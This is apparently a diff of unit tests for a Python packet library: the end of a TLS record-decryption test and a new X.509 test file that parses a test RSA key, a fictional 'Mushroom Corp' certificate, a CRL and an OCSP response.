+assert(app_data.data == b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01')
+
+clientRecord2 = clean("""
+         17030100131ce9b1 f21ba236bca94455
+         ab2aad71c666534a
+         """)
+t = TLS(clientRecord2, tls_session=t.tls_session.mirror())
+alert = t.inner.msg[0]
+assert(isinstance(alert, TLSAlert))
+assert(alert.level == 1 and alert.descr == 0)
+
+serverRecord3 = clean("""
+         1703010013aabcdb 9d293d23fb00deb7
+         11b562afeddffeed
+         """)
+t = TLS(serverRecord3, tls_session=t.tls_session.mirror())
+alert = t.inner.msg[0]
+assert(isinstance(alert, TLSAlert))
+alert.level == 1 and alert.descr == 0
+
diff --git a/test/x509.uts b/test/x509.uts
new file mode 100644
index 0000000..32c923f
--- /dev/null
+++ b/test/x509.uts
@@ -0,0 +1,255 @@
+% Tests for X.509 objects
+# 
+# Try me with:
+# bash test/run_tests -t test/x509.uts -F
+
+########### ASN.1 border case #######################################
+
++ General BER decoding tests
+= Decoding an ASN.1 SEQUENCE with an unknown, high-tag identifier
+s = b'\xff\x84\x92\xb9\x86H\x1e0\x1c\x16\x04BNCH\x04\x14\xb7\xca\x01wO\x9b\xbaz\xbb\xb5\x92\x87>T\xb2\xc3g\xc1]\xfb'
+p = ASN1P_PRIVSEQ(s)
+
+
+########### Key class ###############################################
+
++ Private RSA & ECDSA keys class tests
+= Key class : Importing DER encoded RSA private key
+k = base64_bytes('MIIEowIBAAKCAQEAmFdqP+nTEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5QReDbb2L5/HL\nA9pPmIeQLSq/BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3yilvYJ4W9\n/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA1o32zpuFBrJd\nI8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkmTL1SGhzwfinM\nE1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvzAwIDAQABAoIBAH3KeJZL2hhI\n/1GXNMaU/PfDgFkgmYbxMA8JKusnm/SFjxAwBGnGI6UjBXpBgpQs2Nqm3ZseF9u8hmCKvGiCEX2G\nesCo2mSfmSQxD6RBrMTuQ99UXpxzBIscFnM/Zrs8lPBARGzmF2nI3qPxXtex4ABX5o0Cd4NfZlZj\npj96skUoO8+bd3I4OPUFYFFFuv81LoSQ6Hew0a8xtJXtKkDp9h1jTGGUOc189WACNoBLH0MGeVoS\nUfc1++RcC3cypUZ8fNP1OO6GBfv06f5oXES4ZbxGYpa+nCfNwb6V2gWbkvaYm7aFn0KWGNZXS1P3\nOcWv6IWdOmg2CI7MMBLJ0LyWVCECgYEAyMJYw195mvHl8VyxJ3HkxeQaaozWL4qhNQ0Kaw+mzD+j\nYdkbHb3aBYghsgEDZjnyOVblC7I+4smvAZJLWJaf6sZ5HAw3zmj1ibCkXx7deoRc/QVcOikl3dE/\nymO0KGJNiGzJZmxbRS3hTokmVPuxSWW4p5oSiMupFHKa18Uv8DECgYEAwkJ7iTOUL6b4e3lQuHQn\nJbsiQpd+P/bsIPP7kaaHObewfHpfOOtIdtN4asxVFf/PgW5uWmBllqAHZYR14DEYIdL+hdLrdvk5\nnYQ3YfhOnp+haHUPCdEiXrRZuGXjmMA4V0hL3HPF5ZM8H80fLnN8Pgn2rIC7CZQ46y4PnoV1nXMC\ngYBBwCUCF8rkDEWa/ximKo8aoNJmAypC98xEa7j1x3KBgnYoHcrbusok9ajTe7F5UZEbZnItmnsu\nG4/Nm/RBV1OYuNgBb573YzjHl6q93IX9EkzCMXc7NS7JrzaNOopOj6OFAtwTR3m89oHMDu8W9jfi\nKgaIHdXkJ4+AuugrstE4gQKBgFK0d1/8g7SeA+Cdz84YNaqMt5NeaDPXbsTA23QxUBU0rYDxoKTd\nFybv9a6SfA83sCLM31K/A8FTNJL2CDGA9WNBL3fOSs2GYg88AVBGpUJHeDK+0748OcPUSPaG+pVI\nETSn5RRgffq16r0nWYUvSdAn8cuTqw3y+yC1pZS6AU8dAoGBAL5QCi0dTWKN3kf3cXaCAnYiWe4Q\ng2S+SgLE+F1U4Xws2rqAuSvIiuT5i5+Mqk9ZCGdoReVbAovJFoRqe7Fj9yWM+b1awGjL0bOTtnqx\n0iljob6uFyhpl1xgW3a3ICJ/ZYLvkgb4IBEteOwWpp37fX57vzhW8EmUV2UX7ve1uNRI')
+x=RSAPrivateKey(k)
+
+= Key class : key version
+x.version == ASN1_INTEGER(0)
+
+= Key class : key modulus
+x.modulus == ASN1_INTEGER(19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163)
+
+= Key class : key public exponent
+x.publicExponent == ASN1_INTEGER(65537)
+
+= Key class : key private exponent
+x.privateExponent == ASN1_INTEGER(15879630313397508329451198152673380989865598204237760057319927734227125481903063742175442230739018051313441697936698689753842471306305671266572085925009572141819112648211571007521954312641597446020984266846581125287547514750428503480880603089110687015181510081018160579576523796170439894692640171752302225125980423560965987469457505107324833137678663960560798216976668670722016960863268272661588745006387723814962668678285659376534048525020951633874488845649968990679414325096323920666486328886913648207836459784281744709948801682209478580185160477801656666089536527545026197569990716720623647770979759861119273292833)
+
+= Key class : key prime1
+x.prime1 == ASN1_INTEGER(140977881300857803928857666115326329496639762170623218602431133528876162476487960230341078724702018316260690172014674492782486113504117653531825010840338251572887403113276393351318549036549656895326851872473595350667293402676143426484331639796163189182788306480699144107905869179435145810212051656274284113969)
+
+= Key class : key prime2
+x.prime2 == ASN1_INTEGER(136413798668820291889092636919077529673097927884427227010121877374504825870002258140616512268521246045642663981036167305976907058413796938050224182519965099316625879807962173794483933183111515251808827349718943344770056106787713032506379905031673992574818291891535689493330517205396872699985860522390496583027)
+
+= Key class : key exponent1
+x.exponent1 == ASN1_INTEGER(46171616708754015342920807261537213121074749458020000367465429453038710215532257783908950878847126373502288079285334594398328912526548076894076506899568491565992572446455658740752572386903609191774044411412991906964352741123956581870694330173563737928488765282233340389888026245745090096745219902501964298369)
+
+= Key class : key exponent2
+x.exponent2 == ASN1_INTEGER(58077388505079936284685944662039782610415160654764308528562806086690474868010482729442634318267235411531220690585030443434512729356878742778542733733189895801341155353491318998637269079682889033003797865508917973141494201620317820971253064836562060222814287812344611566640341960495346782352037479526674026269)
+
+= Key class : key coefficient
+x.coefficient == ASN1_INTEGER(133642091354977099805228515340626956943759840737228695249787077343495440064451558090846230978708992851702164116059746794777336918772240719297253693109788134358485382183551757562334253896010728509892421673776502933574360356472723011839127418477652997263867089539752161307227878233961465798519818890416647361608)
+
+
+########### Cert class ##############################################
+
++ X509_Cert class tests
+= Cert class : Importing DER encoded X.509 Certificate with RSA public key
+c = base64_bytes('MIIFEjCCA/qgAwIBAgIJALRecEPnCQtxMA0GCSqGSIb3DQEBBQUAMIG2MQswCQYDVQQGEwJGUjEO\nMAwGA1UECBMFUGFyaXMxDjAMBgNVBAcTBVBhcmlzMRcwFQYDVQQKEw5NdXNocm9vbSBDb3JwLjEe\nMBwGA1UECxMVTXVzaHJvb20gVlBOIFNlcnZpY2VzMSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0\nIGNlcnRpZmljYXRlMScwJQYJKoZIhvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnAwHhcN\nMDYwNzEzMDczODU5WhcNMjYwMzMwMDczODU5WjCBtjELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBh\ncmlzMQ4wDAYDVQQHEwVQYXJpczEXMBUGA1UEChMOTXVzaHJvb20gQ29ycC4xHjAcBgNVBAsTFU11\nc2hyb29tIFZQTiBTZXJ2aWNlczElMCMGA1UEAxMcSUtFdjIgWC41MDkgVGVzdCBjZXJ0aWZpY2F0\nZTEnMCUGCSqGSIb3DQEJARYYaWtldjItdGVzdEBtdXNocm9vbS5jb3JwMIIBIjANBgkqhkiG9w0B\nAQEFAAOCAQ8AMIIBCgKCAQEAmFdqP+nTEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5QReD\nbb2L5/HLA9pPmIeQLSq/BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3y\nilvYJ4W9/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA1o32\nzpuFBrJdI8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkmTL1S\nGhzwfinME1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvzAwIDAQABo4IBHzCC\nARswHQYDVR0OBBYEFPPYTt6Q9+Zd0s4zzVxWjG+XFDFLMIHrBgNVHSMEgeMwgeCAFPPYTt6Q9+Zd\n0s4zzVxWjG+XFDFLoYG8pIG5MIG2MQswCQYDVQQGEwJGUjEOMAwGA1UECBMFUGFyaXMxDjAMBgNV\nBAcTBVBhcmlzMRcwFQYDVQQKEw5NdXNocm9vbSBDb3JwLjEeMBwGA1UECxMVTXVzaHJvb20gVlBO\nIFNlcnZpY2VzMSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0IGNlcnRpZmljYXRlMScwJQYJKoZI\nhvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnCCCQC0XnBD5wkLcTAMBgNVHRMEBTADAQH/\nMA0GCSqGSIb3DQEBBQUAA4IBAQA2zt0BvXofiVvHMWlftZCstQaawej1SmxrAfDB4NUM24NsG+UZ\nI88XA5XM6QolmfyKnNromMLC1+6CaFxjq3jC/qdS7ifalFLQVo7ik/te0z6Olo0RkBNgyagWPX2L\nR5kHe9RvSDuoPIsbSHMmJA98AZwatbvEhmzMINJNUoHVzhPeHZnIaBgUBg02XULk/ElidO51Rf3g\nh8dR/kgFQSQT687vs1x9TWD00z0Q2bs2UF3Ob3+NYkEGEo5F9RePQm0mY94CT2xs6WpHo060Fo7f\nVpAFktMWx1vpu+wsEbQAhgGqV0fCR2QwKDIbTrPW/p9HJtJDYVjYdAFxr3s7V77y')
+x=X509_Cert(c)
+
+= Cert class : Rebuild certificate
+raw(x) == c
+
+= Cert class : Version
+tbs = x.tbsCertificate
+tbs.version == ASN1_INTEGER(2)
+
+= Cert class : Serial
+tbs.serialNumber == ASN1_INTEGER(0xb45e7043e7090b71)
+
+= Cert class : Signature algorithm (as advertised by TBSCertificate)
+assert(type(tbs.signature) is X509_AlgorithmIdentifier)
+tbs.signature.algorithm == ASN1_OID("sha1_with_rsa_signature")
+
+= Cert class : Issuer structure
+assert(type(tbs.issuer) is list)
+assert(len(tbs.issuer) == 7)
+assert(type(tbs.issuer[0]) is X509_RDN)
+assert(type(tbs.issuer[0].rdn) is list)
+assert(type(tbs.issuer[0].rdn[0]) is X509_AttributeTypeAndValue)
+
+= Cert class : Issuer first attribute
+tbs.issuer[0].rdn[0].type == ASN1_OID("countryName") and tbs.issuer[0].rdn[0].value == ASN1_PRINTABLE_STRING(b"FR")
+
+= Cert class : Issuer string
+tbs.get_issuer_str() == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp'
+
+= Cert class : Validity
+assert(type(tbs.validity) is X509_Validity)
+tbs.validity.not_before == ASN1_UTC_TIME("060713073859Z") and tbs.validity.not_after == ASN1_UTC_TIME("260330073859Z")
+
+= Cert class : Subject structure
+assert(type(tbs.subject) is list)
+assert(len(tbs.subject) == 7)
+assert(type(tbs.subject[0]) is X509_RDN)
+assert(type(tbs.subject[0].rdn) is list)
+assert(type(tbs.subject[0].rdn[0]) is X509_AttributeTypeAndValue)
+
+= Cert class : Subject last attribute
+tbs.issuer[6].rdn[0].type == ASN1_OID("emailAddress") and tbs.issuer[6].rdn[0].value == ASN1_IA5_STRING(b"ikev2-test@mushroom.corp")
+
+= Cert class : Subject string
+tbs.get_subject_str() == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp'
+
+= Cert class : SubjectPublicKey algorithm
+assert(type(tbs.subjectPublicKeyInfo) is X509_SubjectPublicKeyInfo)
+spki = tbs.subjectPublicKeyInfo
+spki.signatureAlgorithm.algorithm == ASN1_OID("rsaEncryption")
+
+= Cert class : SubjectPublicKey value
+assert(type(spki.subjectPublicKey) is RSAPublicKey)
+spki.subjectPublicKey.modulus == ASN1_INTEGER(19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163) and spki.subjectPublicKey.publicExponent == ASN1_INTEGER(65537)
+
+= Cert class : Extensions structure
+ext = tbs.extensions
+assert(type(ext) is list)
+assert(len(ext) == 3)
+
+= Cert class : Subject key identifier extension info
+assert(type(ext[0]) is X509_Extension)
+ext[0].extnID == ASN1_OID("subjectKeyIdentifier") and ext[0].critical == None
+
+= Cert class : Subject key identifier extension value
+assert(type(ext[0].extnValue) is X509_ExtSubjectKeyIdentifier)
+ext[0].extnValue.keyIdentifier == ASN1_STRING(b'\xf3\xd8N\xde\x90\xf7\xe6]\xd2\xce3\xcd\\V\x8co\x97\x141K')
+
+= Cert class : Signature algorithm
+assert(type(x.signatureAlgorithm) is X509_AlgorithmIdentifier)
+x.signatureAlgorithm.algorithm == ASN1_OID("sha1_with_rsa_signature")
+
+= Cert class : Signature value
+x.signatureValue == ASN1_BIT_STRING(b"6\xce\xdd\x01\xbdz\x1f\x89[\xc71i_\xb5\x90\xac\xb5\x06\x9a\xc1\xe8\xf5Jlk\x01\xf0\xc1\xe0\xd5\x0c\xdb\x83l\x1b\xe5\x19#\xcf\x17\x03\x95\xcc\xe9\n%\x99\xfc\x8a\x9c\xda\xe8\x98\xc2\xc2\xd7\xee\x82h\\c\xabx\xc2\xfe\xa7R\xee'\xda\x94R\xd0V\x8e\xe2\x93\xfb^\xd3>\x8e\x96\x8d\x11\x90\x13`\xc9\xa8\x16=}\x8bG\x99\x07{\xd4oH;\xa8<\x8b\x1bHs&$\x0f|\x01\x9c\x1a\xb5\xbb\xc4\x86l\xcc \xd2MR\x81\xd5\xce\x13\xde\x1d\x99\xc8h\x18\x14\x06\r6]B\xe4\xfcIbt\xeeuE\xfd\xe0\x87\xc7Q\xfeH\x05A$\x13\xeb\xce\xef\xb3\\}M`\xf4\xd3=\x10\xd9\xbb6P]\xceo\x7f\x8dbA\x06\x12\x8eE\xf5\x17\x8fBm&c\xde\x02Oll\xe9jG\xa3N\xb4\x16\x8e\xdfV\x90\x05\x92\xd3\x16\xc7[\xe9\xbb\xec,\x11\xb4\x00\x86\x01\xaaWG\xc2Gd0(2\x1bN\xb3\xd6\xfe\x9fG&\xd2CaX\xd8t\x01q\xaf{;W\xbe\xf2", readable=True)
+
+= Cert class : Default X509_Cert from scratch
+raw(X509_Cert(raw(X509_Cert()))) == raw(X509_Cert())
+
+= Cert class : Error
+try:
+    Cert("fail")
+except:
+    assert True
+else:
+    assert False
+
+############ CRL class ###############################################
+
++ X509_CRL class tests
+= CRL class : Importing DER encoded X.509 CRL
+c = base64_bytes('MIICHjCCAYcwDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWdu\nLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAxIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0\naG9yaXR5Fw0wNjExMDIwMDAwMDBaFw0wNzAyMTcyMzU5NTlaMIH2MCECECzSS2LEl6QXzW6jyJx6\nLcgXDTA0MDQwMTE3NTYxNVowIQIQOkXeVssCzdzcTndjIhvU1RcNMDEwNTA4MTkyMjM0WjAhAhBB\nXYg2gRUg1YCDRqhZkngsFw0wMTA3MDYxNjU3MjNaMCECEEc5gf/9hIHxlfnrGMJ8DfEXDTAzMDEw\nOTE4MDYxMlowIQIQcFR+auK62HZ/R6mZEEFeZxcNMDIwOTIzMTcwMDA4WjAhAhB+C13eGPI5ZoKm\nj2UiOCPIFw0wMTA1MDgxOTA4MjFaMCICEQDQVEhgGGfTrTXKLw1KJ5VeFw0wMTEyMTExODI2MjFa\nMA0GCSqGSIb3DQEBBQUAA4GBACLJ9rsdoaU9JMf/sCIRs3AGW8VV3TN2oJgiCGNEac9PRyV3mRKE\n0hmuIJTKLFSaa4HSAzimWpWNKuJhztsZzXUnWSZ8VuHkgHEaSbKqzUlb2g+o/848CvzJrcbeyEBk\nDCYJI5C3nLlQA49LGJ+w4GUPYBwaZ+WFxCX1C8kzglLm')
+x=X509_CRL(c)
+
+= CRL class : Rebuild crl
+raw(x) == c
+
+= CRL class : Version
+tbs = x.tbsCertList
+tbs.version == None
+
+= CRL class : Signature algorithm (as advertised by TBSCertList)
+assert(type(tbs.signature) is X509_AlgorithmIdentifier)
+tbs.signature.algorithm == ASN1_OID("sha1_with_rsa_signature")
+
+= CRL class : Issuer structure
+assert(type(tbs.issuer) is list)
+assert(len(tbs.issuer) == 3)
+assert(type(tbs.issuer[0]) is X509_RDN)
+assert(type(tbs.issuer[0].rdn) is list)
+assert(type(tbs.issuer[0].rdn[0]) is X509_AttributeTypeAndValue)
+
+= CRL class : Issuer first attribute
+tbs.issuer[0].rdn[0].type == ASN1_OID("countryName") and tbs.issuer[0].rdn[0].value == ASN1_PRINTABLE_STRING(b"US")
+
+= CRL class : Issuer string
+tbs.get_issuer_str() == '/C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification Authority'
+
+= CRL class : This update
+tbs.this_update == ASN1_UTC_TIME("061102000000Z")
+
+= CRL class : Optional next update
+tbs.next_update == ASN1_UTC_TIME("070217235959Z")
+
+= CRL class : Optional revoked_certificates structure
+assert(type(tbs.revokedCertificates) is list)
+assert(len(tbs.revokedCertificates) == 7)
+assert(type(tbs.revokedCertificates[0]) is X509_RevokedCertificate)
+
+= CRL class : Revoked_certificates first attribute
+tbs.revokedCertificates[0].serialNumber == ASN1_INTEGER(59577943160751197113872490992424857032) and tbs.revokedCertificates[0].revocationDate == ASN1_UTC_TIME("040401175615Z")
+
+= CRL class : Extensions structure
+tbs.crlExtensions == None
+
+= CRL class : Signature algorithm
+assert(type(x.signatureAlgorithm) is X509_AlgorithmIdentifier)
+x.signatureAlgorithm.algorithm == ASN1_OID("sha1_with_rsa_signature")
+
+= CRL class : Signature value
+x.signatureValue == ASN1_BIT_STRING(b'"\xc9\xf6\xbb\x1d\xa1\xa5=$\xc7\xff\xb0"\x11\xb3p\x06[\xc5U\xdd3v\xa0\x98"\x08cDi\xcfOG%w\x99\x12\x84\xd2\x19\xae \x94\xca,T\x9ak\x81\xd2\x038\xa6Z\x95\x8d*\xe2a\xce\xdb\x19\xcdu\'Y&|V\xe1\xe4\x80q\x1aI\xb2\xaa\xcdI[\xda\x0f\xa8\xff\xce<\n\xfc\xc9\xad\xc6\xde\xc8@d\x0c&\t#\x90\xb7\x9c\xb9P\x03\x8fK\x18\x9f\xb0\xe0e\x0f`\x1c\x1ag\xe5\x85\xc4%\xf5\x0b\xc93\x82R\xe6', readable=True)
+
+= CRL class : Default X509_CRL from scratch
+s = raw(X509_CRL())
+raw(X509_CRL(s)) == s
+
+
+############ Randval tests ###############################################
+
+= Randval tests : ASN1F_SEQUENCE_OF
+random.seed(42)
+r = ASN1F_SEQUENCE_OF("test", [], ASN1P_INTEGER).randval().number
+assert(isinstance(r, RandNum))
+int(r) == -16393048219351680611
+
+= Randval tests : ASN1F_PACKET
+random.seed(0xcafecafe)
+r = ASN1F_PACKET("otherName", None, X509_OtherName).randval()
+assert(isinstance(r, X509_OtherName))
+str(r.type_id) == '171.184.10.271'
+
+
+############ OCSP class ###############################################
+
+= OCSP class : OCSP Response import
+s = b'0\x82\x01\xd3\n\x01\x00\xa0\x82\x01\xcc0\x82\x01\xc8\x06\t+\x06\x01\x05\x05\x070\x01\x01\x04\x82\x01\xb90\x82\x01\xb50\x81\x9e\xa2\x16\x04\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;\x18\x0f20160914121000Z0s0q0I0\t\x06\x05+\x0e\x03\x02\x1a\x05\x00\x04\x14\xcf&\xf5\x18\xfa\xc9~\x8f\x8c\xb3B\xe0\x1c/j\x10\x9e\x8e_\n\x04\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;\x02\x10\x07z]\xc36#\x01\xf9\x89\xfeT\xf7\xf8o>d\x80\x00\x18\x0f20160914121000Z\xa0\x11\x18\x0f20160921112500Z0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x90\xef\xf9\x15U\x88\xac@l\xf6n\x04C/\x1a\xf5\xbc[Xi\xd9U\xbe\'\xd3\xb7\xf5\xbb\t\xd8\xb1Tw\x9c2\xac\x7f\x88\xba\x98\xe4\xa13\xf4\xdc\xea\xf3\xacX\xe4,E\xf5\xa9\xc3\xf4B-N\xe0\x89D[\xbe\n\xc2h\x9ar\xfd\'.\xc8,\xed\x83\xc2\xf0\x89_\x8c\xc3\xe7\x8a\xad\xa4\x14\x03\x96\x02\xc4\xa8\xc8\x90\x96%X\x80\x95\x02\x9d_\xc82;m\xe9\x15\x00\xa8\x00\xb9\x01\xe3aN&\xe4\xd5\x8a\xc4w7\x0b\xc3~\xc5\xb1M\x10~T\x9e\x1d\xf6\x06\xf8\x12sTg\x14b_\xe7\xc04\xb4\xa3\xd2\x8f\xe6\xa6\xc4\x01q\x03j\xc8\xd4\xc7\x89\xdde\x99\x1a\xd9\x02\xe7\x17\xd1\xf40P\xef\xf6$\xee\xfad\xf4\xeb\xc8\xf7\x0bRL\x8b\xa5x\xe4R2\xe9\xc2\xfcB\nh\x93\xf7\x0ep4h\xeb\x17\x83\xc8\x88!\xc3W\x94WG\xfe3\x15C0qE&A\x99\xa8}\x1a\xda"\xa9O\xba\x90W_W\xado\x1c\xf0`g7\xbb$\x91o\xec\xdd\xbd\x9e\x8bb\xfc'
+response = OCSP_Response(s)
+
+= OCSP class : OCSP Response global checks
+assert(response.responseStatus.val == 0)
+assert(isinstance(response.responseBytes, OCSP_ResponseBytes))
+responseBytes = response.responseBytes
+assert(responseBytes.responseType == ASN1_OID("basic_response"))
+assert(responseBytes.signatureAlgorithm.algorithm == ASN1_OID("sha256WithRSAEncryption"))
+assert(responseBytes.signatureAlgorithm.parameters == ASN1_NULL(0))
+assert(responseBytes.signature.val_readable[:3] == b"\x90\xef\xf9" and responseBytes.signature.val_readable[-3:] == b"\x8bb\xfc")
+responseBytes.certs is None
+
+= OCSP class : OCSP ResponseData checks
+responseData = responseBytes.tbsResponseData
+assert(responseData.version is None)
+rID = responseData.responderID.responderID
+assert(isinstance(rID, OCSP_ByKey))
+assert(rID.byKey.val[:3] == b"Qh\xff" and rID.byKey.val[-3:] == b"Yr;")
+assert(responseData.producedAt == ASN1_GENERALIZED_TIME("20160914121000Z"))
+assert(len(responseData.responses) == 1)
+responseData.responseExtensions is None
+
+= OCSP class : OCSP SingleResponse checks
+singleResponse = responseData.responses[0]
+assert(singleResponse.certID.hashAlgorithm.algorithm == ASN1_OID("sha1"))
+assert(singleResponse.certID.hashAlgorithm.parameters == ASN1_NULL(0))
+assert(singleResponse.certID.issuerNameHash.val[:3] == b"\xcf&\xf5" and singleResponse.certID.issuerNameHash.val[-3:] == b"\x8e_\n")
+assert(singleResponse.certID.issuerKeyHash.val[:3] == b"Qh\xff" and singleResponse.certID.issuerKeyHash.val[-3:] == b"Yr;")
+assert(singleResponse.certID.serialNumber.val == 0x77a5dc3362301f989fe54f7f86f3e64)
+assert(isinstance(singleResponse.certStatus.certStatus, OCSP_GoodInfo))
+assert(singleResponse.thisUpdate == ASN1_GENERALIZED_TIME("20160914121000Z"))
+assert(singleResponse.nextUpdate == ASN1_GENERALIZED_TIME("20160921112500Z"))
+singleResponse.singleExtensions is None
+
+= OCSP class : OCSP Response reconstruction
+raw(response) == s
+